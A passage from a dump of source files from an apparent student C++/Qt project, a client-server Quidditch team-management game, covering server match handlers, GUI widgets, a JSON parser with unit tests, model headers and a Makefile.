"blob_id": "c2653f30f71b1e9eb21a2aeecd30f582d8a7a3a4", "content_id": "64a687e7234e1186aef0669cd3f8a7f9e0722d64", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 6494, "license_type": "permissive", "max_line_length": 175, "num_lines": 158, "path": "/src/server/views/match.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"match.h\"\n\nusing namespace std;\n\nnamespace views {\n\nvoid end_turn(JsonValue * message, UserHandler * handler) {\n JsonList * listMessage = JLIST(message);\n if (listMessage == NULL) {\n throw BadRequest(\"Malformatted request. Need a JSON dict\");\n }\n Way playerWays[7];\n Match * match = handler->getMatch();\n Club * club = handler->getManager()->getClub();\n bool isGuest = match->isGuest(club);\n Case grid[WIDTH][LENGTH];\n match->getGrid(grid);\n for (int i = 0; i < listMessage->size() && i < 7; i++) {\n JsonList * way = JLIST((*listMessage)[i]);\n if (way == NULL) {\n throw BadRequest(\"Malformatted request. Need a JSON dict\");\n }\n Way newWay;\n for (int j = 0; j < way->size(); j++) {\n JsonList * listPos = JLIST((*way)[j]);\n if (listPos == NULL) {\n throw BadRequest(\"Malformatted request. Need a JSON dict\");\n }\n Position pos;\n JsonInt * intX = JINT((*listPos)[0]);\n JsonInt * intY = JINT((*listPos)[1]);\n if ((intX == NULL) || (intY == NULL)) {\n throw BadRequest(\"Malformatted request. Need a JSON dict\");\n }\n pos.x = *intX;\n pos.y = *intY;\n newWay.push_back(pos);\n }\n if ((newWay.size() > 0) && (grid[newWay[0].x][newWay[0].y].player->isInGuestTeam() == isGuest)) {\n playerWays[i] = newWay;\n }\n else {\n playerWays[i] = Way();\n }\n }\n for (int i = listMessage->size(); i < 7; i++) {\n playerWays[i] = Way();\n }\n\n match->setWays(isGuest, playerWays);\n if (match->setReady(isGuest)) {\n if (match->newTurn()) {\n\n Challenge * challenge = NULL;\n int i;\n for (i = 0; i < handler->getChalenge_list()->size() && challenge == NULL; i++) {\n if ((handler->getChalenge_list()->at(i).opponents[0] == handler->getManager()) || (handler->getChalenge_list()->at(i).opponents[1] == handler->getManager())) {\n challenge = &(handler->getChalenge_list()->at(i));\n }\n }\n i--; // Decrement the last loop\n if (challenge == NULL) {\n cout << \"Challenge does not exist\" << endl;\n return sendFail(handler, 406, \"challenge\", \"Challenge does not exist\");\n }\n if ((challenge->opponents[0] != handler->getManager()) && (challenge->opponents[1] != handler->getManager())) {\n cout << \"Challenge is not yours\" << endl;\n return sendFail(handler, 407, \"challenge\", \"This challenge is not yours\");\n }\n\n UserHandler * guestHandler = handler->findHandler(challenge->opponents[1]);\n UserHandler * hostHandler = handler->findHandler(challenge->opponents[0]);\n if (match->getScore()[0] > match->getScore()[1]) {\n //Host win\n hostHandler->writeToClient(\"end_match\", new JsonInt(EndMatch::WIN));\n guestHandler->writeToClient(\"end_match\", new JsonInt(EndMatch::LOSE));\n }\n else {\n //Guest win\n hostHandler->writeToClient(\"end_match\", new JsonInt(EndMatch::LOSE));\n guestHandler->writeToClient(\"end_match\", new JsonInt(EndMatch::WIN));\n }\n handler->getChalenge_list()->erase(handler->getChalenge_list()->begin() + i);\n }\n else {\n // updateMatch(json Match)\n Challenge * challenge = NULL;\n int i;\n for (i = 0; i < handler->getChalenge_list()->size() && challenge == NULL; i++) {\n if ((handler->getChalenge_list()->at(i).opponents[0] == handler->getManager()) || (handler->getChalenge_list()->at(i).opponents[1] == handler->getManager())) {\n challenge = &(handler->getChalenge_list()->at(i));\n }\n }\n i--; // Decrement the last loop\n if (challenge == NULL) {\n cout << \"Challenge does not exist\" << endl;\n return sendFail(handler, 406, \"challenge\", \"Challenge does not exist\");\n }\n if ((challenge->opponents[0] != handler->getManager()) && (challenge->opponents[1] != handler->getManager())) {\n cout << \"Challenge is not yours\" << endl;\n return sendFail(handler, 407, \"challenge\", \"This challenge is not yours\");\n }\n\n\n UserHandler * other_handler;\n if (challenge->opponents[0] == handler->getManager()) {\n other_handler = handler->findHandler(challenge->opponents[1]);\n }\n else {\n other_handler = handler->findHandler(challenge->opponents[0]);\n }\n\n JsonDict payload = (JsonDict) * match;\n handler->writeToClient(\"updateMatch\", &payload);\n other_handler->writeToClient(\"updateMatch\", &payload);\n }\n }\n}\n\nvoid surrender(JsonValue * message, UserHandler * handler) {\n JsonInt * id_int = JINT(message);\n if (id_int == NULL) {\n throw BadRequest(\"Malformatted request. Need a JSON int\");\n }\n int challenge_id = *id_int;\n Challenge * challenge = NULL;\n int i;\n for (i = 0; i < handler->getChalenge_list()->size() && challenge == NULL; i++) {\n if (handler->getChalenge_list()->at(i).id == challenge_id) {\n challenge = &(handler->getChalenge_list()->at(i));\n }\n }\n i--; // Decrement the last loop\n if (challenge == NULL) {\n cout << \"Challenge does not exist\" << endl;\n return sendFail(handler, 406, \"challenge\", \"Challenge does not exist\");\n }\n if ((challenge->opponents[0] != handler->getManager()) && (challenge->opponents[1] != handler->getManager())) {\n cout << \"Challenge is not yours\" << endl;\n return sendFail(handler, 407, \"challenge\", \"This challenge is not yours\");\n }\n\n\n UserHandler * other_handler;\n if (challenge->opponents[0] == handler->getManager()) {\n other_handler = handler->findHandler(challenge->opponents[1]);\n }\n else {\n other_handler = handler->findHandler(challenge->opponents[0]);\n }\n\n handler->writeToClient(\"end_match\", new JsonInt(EndMatch::SURRENDER_LOSE));\n other_handler->writeToClient(\"end_match\", new JsonInt(EndMatch::SURRENDER_WIN));\n\n handler->getChalenge_list()->erase(handler->getChalenge_list()->begin() + i);\n}\n\n}\n" }, { "alpha_fraction": 0.6524373292922974, "alphanum_fraction": 0.6659322381019592, "avg_line_length": 42.22618865966797, "blob_id": "64b073e8cb9f1a3f2f71a59bade0f2a1ec778799", "content_id": "54f73c359301c5b41b005c88af90c2b3b053984c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3631, "license_type": "permissive", "max_line_length": 116, "num_lines": 84, "path": "/src/client/gui/teamhandlingwidget.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"teamhandlingwidget.h\"\n#include <QCoreApplication>\n#include <QHeaderView>\n\nTeamHandlingWidget::TeamHandlingWidget(MainWindow * parent):\n QWidget(parent), parent_(parent) {\n //-------------------------SIZE SETTINGS---------------------------\n this->setFixedHeight(720);\n this->setFixedWidth(1280);\n\n //----------------------BACKGROUND SETTINGS---------------------------\n QVBoxLayout * layout = new QVBoxLayout;\n QLabel * image = new QLabel(this);\n image->setPixmap(QPixmap(ROOT_DIR + \"/images/Quidditch_pitch_hogwarts.jpg\"));\n layout->addWidget(image);\n this->setLayout(layout);\n\n //---------------------MAIN CONTAINER WIDGET---------------------------\n QWidget * mainWidget = new QWidget(this);\n mainWidget->setFixedHeight(720);\n mainWidget->setFixedWidth(1280);\n QGridLayout * mainLayout = new QGridLayout(mainWidget);\n\n\n //--------------------TEAM DISPLAY-----------------------------\n\n\n vector<NonFieldPlayer *> playerList = parent_->getPlayers();\n int playersNumber = playerList.size();\n QTableWidget * playersDisplayer = new QTableWidget(playersNumber, 6, mainWidget);\n for (int i = 0; i < playersNumber; ++i) {\n playersDisplayer->setItem(i, 0, new QTableWidgetItem(QString::number(playerList[i]->getSpeed())));\n playersDisplayer->setItem(i, 1, new QTableWidgetItem(QString::number(playerList[i]->getForce())));\n playersDisplayer->setItem(i, 2, new QTableWidgetItem(QString::number(playerList[i]->getAgility())));\n playersDisplayer->setItem(i, 3, new QTableWidgetItem(QString::number(playerList[i]->getReflexes())));\n playersDisplayer->setItem(i, 4, new QTableWidgetItem(QString::number(playerList[i]->getPassPrecision())));\n QString iswounded;\n if (playerList[i]->isWounded()) {\n iswounded = \"Wounded\";\n }\n else {\n iswounded = \"OK\";\n }\n playersDisplayer->setItem(i, 5, new QTableWidgetItem(iswounded));\n playersDisplayer->setVerticalHeaderItem(i, new QTableWidgetItem(\"Joueur \" + QString::number(i + 1)));\n }\n\n int tableheight = 300;\n int tableWidth = 600;\n\n playersDisplayer->setSelectionBehavior(QAbstractItemView::SelectItems);\n playersDisplayer->setSelectionMode(QAbstractItemView::SingleSelection);\n playersDisplayer->setEditTriggers(QAbstractItemView::EditTriggers(0));\n playersDisplayer->setStyleSheet(\"QHeaderView::section { background-color : rgb(139,69,19); color:white;}\");\n playersDisplayer->setHorizontalHeaderLabels(QString(\"Speed;Force;Agility;Reflexes;Precision;State\").split(\";\"));\n mainWidget->setFixedSize(tableWidth, tableheight);\n\n QPushButton * trainButton = new QPushButton(\"Train\", mainWidget);\n trainButton->setMinimumHeight(40);\n trainButton->setStyleSheet(\"font-size : 30px;\");\n //connect(trainButton, SIGNAL(clicked()), this, SLOT(train()));\n\n QPushButton * backButton = new QPushButton(\"Back\", mainWidget);\n backButton->setMinimumHeight(40);\n connect(backButton, SIGNAL(clicked()), this, SLOT(backToMenu()));\n\n QHeaderView * header = playersDisplayer->horizontalHeader();\n header->setSectionResizeMode(QHeaderView::Stretch);\n\n QHeaderView * header2 = playersDisplayer->verticalHeader();\n header2->setSectionResizeMode(QHeaderView::Stretch);\n\n mainLayout->addWidget(trainButton);\n mainLayout->addWidget(playersDisplayer);\n mainLayout->addWidget(backButton);\n mainWidget->move(parent_->width() / 2 - tableWidth / 2, parent_->height() / 2 - tableheight / 2);\n\n\n}\n\n\nvoid TeamHandlingWidget::backToMenu() {\n parent_->setNextScreen(MAINMENUSTATE);\n}\n" }, { "alpha_fraction": 0.7284768223762512, "alphanum_fraction": 0.7284768223762512, "avg_line_length": 27.3125, "blob_id": "05ee8435a68ace9f808403e304987b85d1df2cff", "content_id": "ab0009bf2a4f28fc7002247ed03afcaa356ccc53", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 453, "license_type": "permissive", "max_line_length": 95, "num_lines": 16, "path": "/src/common/lib/json/utils.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef JSON_UTILS_H\n#define JSON_UTILS_H\n\n#include \"ParseError.h\"\n#include <vector>\n#include <string>\n\nint skip_whitespace(std::string message, int start);\nint skip_colon(std::string message, int start);\nstd::string cut_from(std::string message, int from);\n\n\nvoid replace_all(std::string & str, const std::string & find, const std::string & replacement);\nvoid replace_all(std::string & str, const std::string & find, const char & replacement);\n\n#endif\n" }, { "alpha_fraction": 0.6708661317825317, "alphanum_fraction": 0.6708661317825317, "avg_line_length": 18.84375, "blob_id": "3d2406ed82983b82ac9114f99b099c1549858c7f", "content_id": "184cfe403ecf9b29e0ba713f2b62195ae34053b9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 635, "license_type": "permissive", "max_line_length": 86, "num_lines": 32, "path": "/src/common/models/Budger.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef BUDGER_H\n#define BUDGER_H\n\n#include <stdlib.h>\n#include <time.h>\n#include <string>\n\n#include \"Position.h\"\n#include \"Player.h\"\n#include \"Case.h\"\n\n#include \"Ball.h\"\n\nclass Budger: public Ball {\n\npublic:\n Budger();\n Budger(int speed, Position position);\n Budger(JsonValue * json);\n ~Budger();\n Position autoMove(const Case grid[WIDTH][LENGTH]);\n void isHit(const char direction, const int power, const Case grid[WIDTH][LENGTH]);\n void hitPlayer(Player * player, int power);\n std::string getName();\n Way getHitWay() const;\n operator JsonDict() const;\n\nprivate:\n Way hitWay_;\n};\n\n#endif // BUDGER_H\n" }, { "alpha_fraction": 0.577464759349823, "alphanum_fraction": 0.6197183132171631, "avg_line_length": 27.399999618530273, "blob_id": "5f07fe25f890faf5321e33214351cac7fa0e47f2", "content_id": "81fd724d3ff3cf3ec064dbb7849d3999ccc1e2b1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 142, "license_type": "permissive", "max_line_length": 63, "num_lines": 5, "path": "/src/common/models/Position.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"Position.h\"\n\nbool operator==(const Position & pos1, const Position & pos2) {\n return (pos1.x == pos2.x) && (pos1.y == pos2.y);\n}\n" }, { "alpha_fraction": 0.5656565427780151, "alphanum_fraction": 0.5656565427780151, "avg_line_length": 19.30769157409668, "blob_id": "5b4fc39dbdf31a210c6a83fce48d3f9804951261", "content_id": "a9c953794c0e2e188feec7290a38a05281f22feb", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 792, "license_type": "permissive", "max_line_length": 76, "num_lines": 39, "path": "/src/rules.mk", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "SOURCES=$(filter-out test.cpp,$(wildcard *.cpp))\nHEADERS=$(wildcard *.h)\nOBJECTS=$(addprefix $(BUILD_DIR)/$(NAME)/,$(subst .cpp,.o,$(SOURCES)))\nA=$(BUILD_DIR)/$(NAME).a\nDEPSA=$(addsuffix .a,$(addprefix $(BUILD_DIR)/,$(NAME) $(DEPS) libtest))\n\n\n.PHONY: all clean\n\nall: $(A)\n\na:\n\t@echo $(OBJECTS)\n\n$(BUILD_DIR)/$(NAME)/%.o: %.cpp $(HEADERS) | $(BUILD_DIR)/$(NAME)/\n\t$(CXX) $(CFLAGS) -c $< -o $@\n\n$(BUILD_DIR)/$(NAME)/:\n\t@mkdir -p $@\n\n$(A): $(OBJECTS)\n\tar -r $@ $(OBJECTS)\n\nclean:\n\trm -rf $(BUILD_DIR)/$(NAME)\n\trm -rf $(BUILD_DIR)/tests/$(NAME)\n\n\nmtest: $(A) $(DEPSA) test.cpp | $(BUILD_DIR)/tests/\n\t$(CXX) $(LDFLAGS) $(CFLAGS) test.cpp -o $(BUILD_DIR)/tests/$(NAME) $(DEPSA)\n\ntest: mtest\n\t$(BUILD_DIR)/tests/$(NAME)\n\n$(BUILD_DIR)/tests/:\n\tmkdir -p $@\n\n$(BUILD_DIR)/%.a:\n\t@$(MAKE) -C $(ROOT) $@\n" }, { "alpha_fraction": 0.7364016771316528, "alphanum_fraction": 0.7364016771316528, "avg_line_length": 14.933333396911621, "blob_id": "48081e96d8f07a959d6ce32d47de14891d581320", "content_id": "94ae8d0e008df6376ca424792f7388b7d44c3ed4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 239, "license_type": "permissive", "max_line_length": 51, "num_lines": 15, "path": "/src/common/lib/exception/BadRequest.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef BADREQUEST\n#define BADREQUEST\n\n#include <iostream>\n#include <sstream>\n#include <exception>\n#include <stdexcept>\n\n\nclass BadRequest: public std::runtime_error {\npublic:\n BadRequest(std::string message=\"Bad Request.\");\n};\n\n#endif\n" }, { "alpha_fraction": 0.6915113925933838, "alphanum_fraction": 0.693581759929657, "avg_line_length": 18.31999969482422, "blob_id": "fd9aa735169746f2938548328b4e130200c26f6a", "content_id": "18030f6a1cc51efa8ede5b637bf5cea80dacee0d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 483, "license_type": "permissive", "max_line_length": 49, "num_lines": 25, "path": "/src/server/sharedData.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef SERVER_HANDLE_STRUCT_H\n#define SERVER_HANDLE_STRUCT_H\n\n#include <vector>\n#include <string>\n\n#include \"../common/models/Manager.h\"\n#include \"../common/models/Match.h\"\n\nclass UserHandler;\n\nstruct Challenge {\n int id;\n Manager * opponents[2];\n};\n\nstruct server_shared_data {\n std::vector<UserHandler *> handlers_list;\n std::vector<Match *> match_list;\n std::string datapath;\n std::vector<struct Challenge> challenge_list;\n int last_challenge_id;\n};\n\n#endif\n" }, { "alpha_fraction": 0.541650116443634, "alphanum_fraction": 0.546806812286377, "avg_line_length": 27.97701072692871, "blob_id": "93b4b5387de6baff2126360496ec0bb501f49484", "content_id": "f28fae3f24df86c9c97d0d00266cae2c01bdcf55", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 5042, "license_type": "permissive", "max_line_length": 478, "num_lines": 174, "path": "/src/common/lib/json/test.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"../test/libtest.h\"\n\nusing namespace std;\n#include \"json.h\"\n\nvoid test_empty_dict() {\n\n string message = \"{}\";\n\n JsonValue * value = JsonValue::fromString(message);\n\n ASSERT_NOT_NULL(value, \"Parsing null\");\n\n JsonDict * dict_p = JDICT(value);\n ASSERT_NOT_NULL(dict_p, \"Dict null\");\n\n ASSERT(dict_p->size() == 0, \"Dict not null\");\n}\n\nvoid test_dict_one_val() {\n string fix[] = {\n \"{\\\"a\\\":\\\"b\\\"}\",\n \"{\\\"a\\\" :\\\"b\\\"}\",\n \"{\\\"a\\\": \\\"b\\\"}\",\n \"{\\\"a\\\" : \\\"b\\\"}\",\n \"{ \\\"a\\\" : \\\"b\\\" }\"\n };\n\n for (int i = 0; i < 5; i++) {\n string message = fix[i];\n\n JsonValue * value = JsonValue::fromString(message);\n\n ASSERT_NOT_NULL(value, \"Parsing null\");\n\n JsonDict * dict_p = JDICT(value);\n ASSERT_NOT_NULL(dict_p, \"Dict null\");\n\n ASSERT(dict_p->size() == 1, \"Dict not null\");\n JsonValue * val = (*dict_p)[\"a\"];\n ASSERT_EQUAL((string) * JSTRING((*dict_p)[\"a\"]), \"b\", \"d[a]!=b\");\n }\n}\n\nvoid test_empty_list() {\n string message = \"[]\";\n\n JsonValue * value = JsonValue::fromString(message);\n ASSERT_NOT_NULL(value, \"Parsing null\");\n\n JsonList * list_p = JLIST(value);\n ASSERT_NOT_NULL(list_p, \"List null\");\n\n ASSERT(list_p->size() == 0, \"List not empty\");\n}\n\nvoid test_empty_string() {\n string message = \"\\\"\\\"\";\n\n JsonValue * value = JsonValue::fromString(message);\n ASSERT_NOT_NULL(value, \"Parsing not null\");\n\n JsonString * string_p = JSTRING(value);\n ASSERT_NOT_NULL(string_p, \"String not null\");\n\n ASSERT_EQUAL((string) * string_p, \"\", \"String should be empty, got : '\" + (string) * string_p + \"'\");\n}\n\nvoid test_string() {\n string message = \"\\\"Hello \\\\\\\"world\\\\\\\" !\\\"\";\n\n JsonValue * value = JsonValue::fromString(message);\n ASSERT_NOT_NULL(value, \"Parsing not null\");\n\n JsonString * string_p = JSTRING(value);\n ASSERT_NOT_NULL(string_p, \"String not null\");\n\n ASSERT_EQUAL((string) * string_p, \"Hello \\\"world\\\" !\", \"Wrong uquoting\");\n}\n\nvoid test_true_bool() {\n string message = \"true\";\n\n JsonValue * value = JsonValue::fromString(message);\n ASSERT_NOT_NULL(value, \"Parsing not null\");\n\n JsonBool * bool_p = JBOOL(value);\n ASSERT_NOT_NULL(bool_p, \"Cast\");\n\n ASSERT(*bool_p, \"Must be true\");\n}\n\nvoid test_false_bool() {\n string message = \"false\";\n\n JsonValue * value = JsonValue::fromString(message);\n ASSERT_NOT_NULL(value, \"Parsing not null\");\n\n JsonBool * bool_p = JBOOL(value);\n ASSERT_NOT_NULL(bool_p, \"Cast\");\n\n ASSERT_FALSE(*bool_p, \"Must be false\");\n}\n\nvoid test_null() {\n string message = \"null\";\n\n JsonValue * value = JsonValue::fromString(message);\n ASSERT_NOT_NULL(value, \"Parsing not null\");\n\n JsonNull * null_p = JNULL(value);\n ASSERT_NOT_NULL(null_p, \"Cast to null\");\n\n ASSERT_NULL(*null_p, \"Is null\");\n\n}\n\nvoid test_functionnal_user() {\n string message = \"{\\n \\\"username\\\": \\\"nikita\\\",\\n \\\"name\\\": \\\"Nikita Marchant\\\",\\n \\\"hash\\\": \\\"plop\\\",\\n \\\"club\\\": {\\n \\\"money\\\": 10,\\n \\\"installations\\\" : [\\n {\\\"level\\\": 1},\\n {\\\"mevel\\\": 2},\\n {\\\"wevel\\\": 3},\\n {\\\"xevel\\\": 4},\\n {\\\"cevel\\\": 5}\\n ],\\n \\\"team\\\": {\\n \\\"players\\\" : [null, null, null, null, null, null, null]\\n },\\n \\\"players\\\": []\\n }\\n}\\n\\n\";\n JsonValue * value = JsonValue::fromString(message);\n ASSERT_NOT_NULL(value, \"Parsing not null\");\n}\n\nvoid test_int() {\n string message = \"42\";\n\n JsonValue * value = JsonValue::fromString(message);\n ASSERT_NOT_NULL(value, \"Parsing not null\");\n\n JsonInt * int_p = JINT(value);\n ASSERT_NOT_NULL(int_p, \"Cast not null\");\n\n ASSERT_EQUAL((int)*int_p, 42, \"Value is 42\");\n}\n\nvoid test_list_of_multiple_elemets() {\n string message = \"[ true, false, null, \\\"plop\\\",1,2 , 3]\";\n\n JsonValue * value = JsonValue::fromString(message);\n ASSERT_NOT_NULL(value, \"Parsing not null\");\n\n JsonList * list_p = JLIST(value);\n ASSERT_NOT_NULL(list_p, \"Cast\");\n\n ASSERT_EQUAL(list_p->size(), 7, \"List should contain 7 elements, got : \" + to_string(list_p->size()));\n}\n\nvoid test_dict_of_multiple_elemets() {\n string message = \"{ \\\"boolTrue\\\":true, \\\"boolFalse\\\": false, \\\"null\\\" :null, \\\"string\\\" : \\\"plop\\\",\\\"int\\\":1}\";\n\n JsonValue * value = JsonValue::fromString(message);\n ASSERT_NOT_NULL(value, \"Parsing not null\");\n\n JsonDict * dict_p = JDICT(value);\n ASSERT_NOT_NULL(dict_p, \"Cast\");\n\n ASSERT_EQUAL(dict_p->size(), 5, \"Dict contain 5 elements\");\n}\n\n#define TESTVEC {T(test_empty_dict), \\\n T(test_empty_list), \\\n T(test_empty_string), \\\n T(test_true_bool), \\\n T(test_false_bool), \\\n T(test_null), \\\n T(test_dict_one_val), \\\n T(test_string), \\\n T(test_int), \\\n T(test_list_of_multiple_elemets), \\\n T(test_dict_of_multiple_elemets), \\\n T(test_functionnal_user) \\\n}\n\nTEST();\n" }, { "alpha_fraction": 0.37476280331611633, "alphanum_fraction": 0.3889943063259125, "avg_line_length": 26.736841201782227, "blob_id": "63e93f446c4c608ab02250d691607b027df14edf", "content_id": "a5094d1219a8224d136956adc76cbcdb71b89489", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1054, "license_type": "permissive", "max_line_length": 67, "num_lines": 38, "path": "/src/server/helpers.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"helpers.h\"\n\nstd::string recieveFrom(const int sock, char * buffer) {\n std::string message;\n int len = RCV_SIZE;\n char lr = 0; // line returns\n\n while (len != 0 && lr < 2) {\n if ((len = recv(sock, buffer, RCV_SIZE, 0)) == 0) {\n printf(\"Listen failed : %s\\n\", strerror(errno));\n }\n else {\n buffer[len] = '\\0';\n char * i = buffer;\n for (char c = i[0]; c != '\\0'; i++) {\n if ((c == '\\n') && (lr < 2)) {\n lr++;\n }\n else if (c == '\\n') {\n buffer = i + 1;\n i--;\n i[0] = '\\0';\n }\n else {\n lr = 0;\n }\n }\n message += buffer;\n }\n }\n return message;\n}\n\nstd::string split_message(std::string * key, std::string message) {\n std::size_t found = message.find(':');\n *key = message.substr(0, found);\n return message.substr(found + 1, message.length());\n}\n" }, { "alpha_fraction": 0.6240875720977783, "alphanum_fraction": 0.6240875720977783, "avg_line_length": 12.699999809265137, "blob_id": "41ad8a8e5f15a84b5f2de1239344c30e8df5c444", "content_id": "0ce1ebf25da7de15072c374615cf6873257466ba", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 274, "license_type": "permissive", "max_line_length": 55, "num_lines": 20, "path": "/src/common/lib/thread/thread.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef THREAD_H\n#define THREAD_H\n\n#include <iostream>\n#include <pthread.h>\n#include <signal.h>\n\n#include <unistd.h>\n\nclass Thread {\npublic:\n Thread(void * (* routine) (void *), void * p=NULL);\n void * join();\n bool alive();\n\nprivate:\n pthread_t tid;\n};\n\n#endif\n" }, { "alpha_fraction": 0.6548048853874207, "alphanum_fraction": 0.6712427735328674, "avg_line_length": 41.914730072021484, "blob_id": "7c644947ae9e6e729891db8b568c3651a885705c", "content_id": "5fc95266326ddedc03366dd10e5e439108bdb049", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 5536, "license_type": "permissive", "max_line_length": 157, "num_lines": 129, "path": "/src/client/gui/infrastructurewidget.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"infrastructurewidget.h\"\n#include <QHBoxLayout>\n#include <QGridLayout>\n\n#include <iostream>\nusing namespace std;\n\nInfrastructureWidget::InfrastructureWidget(MainWindow * parent):\n QWidget(parent), parent_(parent) {\n\n //-------------------------SIZE SETTINGS---------------------------\n this->setFixedHeight(720);\n this->setFixedWidth(1280);\n\n //----------------------BACKGROUND SETTINGS---------------------------\n QVBoxLayout * layout = new QVBoxLayout;\n QLabel * image = new QLabel(this);\n image->setPixmap(QPixmap(ROOT_DIR + \"/images/Quidditch_pitch_hogwarts.jpg\"));\n layout->addWidget(image);\n //this->setLayout(layout);\n\n //---------------------MAIN CONTAINER WIDGET---------------------------\n mainWidget = new QWidget(this);\n mainWidget->setFixedHeight(720);\n mainWidget->setFixedWidth(1280);\n\n //------------------------INFIRMARY BUTTON ----------------------------\n QPushButton * infirmaryButton = new QPushButton(mainWidget);\n infirmaryButton->setFixedSize(128, 128);\n infirmaryButton->setStyleSheet(\"background-image : url(images/infirmaryLogo.jpg);\");\n connect(infirmaryButton, SIGNAL(clicked()), this, SLOT(setInfirmary()));\n\n //---------------------TRAINING FIELD BUTTON ----------------------------\n QPushButton * trainingFieldButton = new QPushButton(mainWidget);\n trainingFieldButton->setFixedSize(128, 128);\n trainingFieldButton->setStyleSheet(\"background-image : url(images/trainingFieldLogo.jpg);\");\n connect(trainingFieldButton, SIGNAL(clicked()), this, SLOT(setTrainingField()));\n\n //-------------------------FIELD BUTTON ---------------------------------\n QPushButton * fieldButton = new QPushButton(mainWidget);\n fieldButton->setFixedSize(128, 128);\n fieldButton->setStyleSheet(\"background-image : url(images/fieldLogo.jpg);\");\n connect(fieldButton, SIGNAL(clicked()), this, SLOT(setField()));\n\n //-------------------------FIELD BUTTON ---------------------------------\n QPushButton * candyShopButton = new QPushButton(mainWidget);\n candyShopButton->setFixedSize(128, 128);\n candyShopButton->setStyleSheet(\"background-image : url(images/candyShopLogo.jpg);\");\n connect(candyShopButton, SIGNAL(clicked()), this, SLOT(setCandyShop()));\n\n //-------------------------FIELD BUTTON ---------------------------------\n QPushButton * fanShopButton = new QPushButton(mainWidget);\n fanShopButton->setFixedSize(128, 128);\n fanShopButton->setStyleSheet(\"background-image : url(images/fanShopLogo.jpg);\");\n connect(fanShopButton, SIGNAL(clicked()), this, SLOT(setFanShop()));\n //---------------------------LABEL---------------------------------------\n currentInfrastructureWidget = new QWidget(mainWidget);\n currentInfrastructureWidget->setFixedSize(600, 100);\n currentInfrastructureWidget->setStyleSheet(\"background-image : url(images/wood.jpg); border: 2px solid darkbrown; border-radius: 10px; padding: 0 8px;\");\n\n currentInfrastructure = new QLabel(currentInfrastructureWidget);\n currentInfrastructure->setFixedWidth(600);\n currentInfrastructure->setFixedHeight(100);\n currentInfrastructure->setText(\"Nursery\");\n currentInfrastructure->setAlignment(Qt::AlignHCenter);\n currentInfrastructure->setAlignment(Qt::AlignVCenter);\n currentInfrastructure->setStyleSheet(\"color : white; font-size : 50px;\");\n\n QHBoxLayout * buttonsLayout = new QHBoxLayout();\n\n buttonsLayout->addWidget(infirmaryButton);\n buttonsLayout->addWidget(trainingFieldButton);\n buttonsLayout->addWidget(fieldButton);\n buttonsLayout->addWidget(candyShopButton);\n buttonsLayout->addWidget(fanShopButton);\n\n QPushButton * upgradeButton = new QPushButton(\"Upgrade\", mainWidget);\n upgradeButton->setFixedHeight(50);\n QPushButton * downgradeButton = new QPushButton(\"Downgrade\", mainWidget);\n downgradeButton->setFixedHeight(50);\n QHBoxLayout * gradeButtonsLayout = new QHBoxLayout();\n gradeButtonsLayout->addWidget(upgradeButton);\n gradeButtonsLayout->addWidget(downgradeButton);\n\n QGridLayout * mainLayout = new QGridLayout(mainWidget);\n QPushButton * backButton = new QPushButton(\"Back\", mainWidget);\n connect(backButton, SIGNAL(clicked()), this, SLOT(backToMenu()));\n backButton->setFixedSize(100, 50);\n QWidget * temp2 = new QWidget(mainWidget);\n temp2->setFixedSize(100, 100);\n\n mainLayout->addWidget(backButton, 0, 0);\n mainLayout->addWidget(currentInfrastructureWidget, 0, 1);\n mainLayout->addWidget(temp2, 3, 2);\n mainLayout->addLayout(buttonsLayout, 1, 1);\n mainLayout->addLayout(gradeButtonsLayout, 2, 1);\n\n\n}\n\nvoid InfrastructureWidget::setTrainingField() {\n currentInfrastructure->hide();\n currentInfrastructure->setText(\"Training Field\");\n currentInfrastructure->show();\n}\nvoid InfrastructureWidget::setInfirmary() {\n currentInfrastructure->hide();\n currentInfrastructure->setText(\"Nursery\");\n currentInfrastructure->show();\n}\nvoid InfrastructureWidget::setField() {\n currentInfrastructure->hide();\n currentInfrastructure->setText(\"Field\");\n currentInfrastructure->show();\n}\nvoid InfrastructureWidget::setFanShop() {\n currentInfrastructure->hide();\n currentInfrastructure->setText(\"Fanshop\");\n currentInfrastructure->show();\n}\nvoid InfrastructureWidget::setCandyShop() {\n currentInfrastructure->hide();\n currentInfrastructure->setText(\"Candy Shop\");\n currentInfrastructure->show();\n}\n\nvoid InfrastructureWidget::backToMenu() {\n 